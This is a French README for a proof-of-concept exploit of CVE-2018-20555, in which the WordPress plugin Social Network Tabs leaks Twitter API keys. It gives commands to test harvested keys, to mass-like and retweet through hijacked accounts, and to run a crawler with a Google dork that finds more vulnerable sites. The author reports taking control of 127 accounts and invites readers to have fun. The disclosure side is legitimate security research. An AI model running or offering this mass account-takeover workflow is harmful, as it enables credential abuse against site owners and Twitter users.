
Exploit pour CVE-2018-20555 : découverte automatisée et prise de contrôle de comptes Twitter via des clés API divulguées dans le plugin WordPress Social Network Tabs vulnérable, avec des capacités de scraping et d'exploitation de masse.
Le plugin Wordpress appelé Social Network Tabs, créé par la société Design Chemical, divulgue deux fois le access_token, access_token_secret, consumer_key et consumer_secret Twitter de son utilisateur, ce qui conduit à une prise de contrôle de son compte Twitter.
Ceci est causé par les lignes de code suivantes dans la page où le widget Twitter est affiché :
jQuery(document).ready(function ($) {
var config = {
widgets: "twitter,facebook,youtube",
twitterId: "[redacted]",
facebookId: "[redacted]",
youtubeId: "[redacted]",
twitter: {
url: "https://www.rainx.com/wp-content/plugins/social-network-tabs/inc/dcwp_twitter.php?1=%5Breadcted%5D&2=%5Bredacted%5D&3=%5Bredacted%5D&4=%5Bredacted%5D …",
title: "Latest Tweets",
follow: "Follow",
followId: "",
limit: "10",
retweets: true,
replies: true,
images: "thumb",
consumer_key: "[redacted]",
consumer_secret: "[redacted]",
access_token: "[redacted]",
access_token_secret: "[redacted]"
},
}
});
Grâce à Publicwww, avec les requêtes de recherche suivantes, j'ai réussi à récupérer le access_token, access_token_secret, consumer_key et consumer_secret Twitter de 539 sites web vulnérables :
Toutes les clés sont disponibles dans twitter_keys.csv.
Tester les clés Twitter API dans twitter_keys.csv
python test_twitter_api_keys.py -t
La première fois que j'ai exécuté cette commande, j'ai obtenu les informations de 446 comptes Twitter. Il convient de mentionner qu'il y avait 2 comptes vérifiés dans la liste et plusieurs comptes avec plus de 10K+ abonnés. Tous les comptes vulnérables sont dans vulnerable_accounts.txt.
Aimer le tweet de votre choix
python test_twitter_api_keys.py -l [tweet_id]
Retweeter le tweet de votre choix
python test_twitter_api_keys.py -r [tweet_id]
La première fois que j'ai exécuté cette commande, j'ai réussi à aimer le tweet de mon choix 127 fois, ce qui a montré que 127 clés Twitter API avaient les droits de lecture-écriture, c'est-à-dire que j'ai pu prendre le contrôle de 127 comptes Twitter (changer la photo de profil, aimer, retweeter, modifier la biographie, ...) à cause de ces fuites de clés.
Beaucoup de sites web et donc de comptes Twitter sont toujours vulnérables à ce problème. Pour les identifier, j'ai créé un scraper
cd TwitterApiKeysSearchEngine/
scrapy crawl TwitterApiKeysSpider -a keyword="inurl:/inc/dcwp_twitter.php?1=" -a se=google -a pages=10
Le nombre total de résultats pour cette requête de recherche Google est de 3550. Parmi les 9 premières pages, j'ai réussi à récupérer 78 clés (86 %). Amusez-vous bien !
Suivez-moi sur Twitter ! Vous pouvez également trouver une petite partie de mon travail sur https://fs0c131y.com
L'enquête et la POC ont été réalisées avec ❤️ par @fs0c131y